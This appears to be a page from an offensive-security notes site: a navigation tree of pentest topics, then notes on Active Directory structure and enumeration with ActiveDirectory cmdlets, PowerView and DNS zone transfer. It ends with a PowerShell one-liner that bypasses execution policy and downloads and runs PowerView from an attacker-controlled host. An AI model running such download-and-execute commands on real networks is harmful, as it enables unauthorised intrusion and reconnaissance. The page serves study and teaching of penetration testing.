# In the Open

Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Active Directory Enumeration
  - Domain Controller
    - AD DS Store
    - Forest
    - Users
    - Policies
    - Domain Services
    - Authentication
  - Usage
    - Powerview Module
    - DNS
    - Tips & Tricks

# Active Directory Enumeration

- Consists of

  - Domain Controller
  - Organizational Units
    - Users
    - Groups
  - Trusts
  - AD Domains
  - AD Forest
  - Policies

- Administrative accounts are

  - Domain Admin
  - Enterprise Admin
  - Schema Admin
  - Server Operator
  - Account Operator

## Domain Controller

- AD Domain Services data store
- Authentication and authorization
- Update replication / sync with other domain controllers in the forest
- Administration of domain resources

### AD DS Store

- Database of directory info such as users, groups and services
  - `ntdis.dit` contains the information, including password hashes
  - `SystemRoot%\NTDS`

### Forest

- Trees, hierarchy of domains in the AD Domain Services
- Domains, groups of objects
- Organizational Units (OU), containers of objects such as groups, users, printers and other resources
- Trusts, allows users to access resources in a different domain
- Objects users, groups, printers, computers or shares
- Domain Services, DNS, LLMNR, SMB
- Domain Schema, Rules for object creation

### Users

- Domain Admin, DC access
- Server Accounts, service maintenance, may have admin permissions
- Local Admin, administrative persmission on an object but not the DC
- Domain Users, average user account on a local machine which may have admin permissions

### Policies

- Rule sets
- Apply to a domain
- Enable or disables services on a domain basis, like antivirus and malware scanning
  - Disable Windows Defender
  - Communication signing, e.g. SMB

### Domain Services

- LDAP
- Certificates handling for services, CRL
- DNS, LLMNR, NBT-NS

### Authentication

- NTLM, ticket granting service
- Kerberos, challenge/response via hashes

## Usage

- Cmdlets on Domain Controller

- Get some help, `Get-Help Get-Command -Examples`, `Get-Command Get-*`

- From `ActiveDirectory` module

    Import-Module Active-Directory
    Get-ADDomain | Select-Object NetBIOSName,DNSRoot,InfrastructureMaster
    Get-ADForest | Select-Object Domains
    Get-ADTrust -Filter * | Select-Object Direction,Source,Target

- `systeminfo | findstr Domain`
- `Get-ADUser -filter *`
- Use found CN and DC and specify
- `Get-ADUser -filter * -searchBase "CN=Users,DC=<foundDC>,DC=<domainEnding>"`

### Powerview Module

- Powerview

    Import-Module .\PowerView.ps1
    Get-NetDomain
    Get-NetDomainController
    Get-NetForest
    Get-NetDomainTrust

### DNS

- Check ip via `ipconfig`
- `nslookup`, then `server <LocalIP>` and zone transfer via

    ls -d <Domain>

### Tips & Tricks

- Download and execute in one line

    powershell -exec bypass -c  "IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%:8000/PowerVi
    ew.ps1'); Get-NetUser | select samaccountname, description"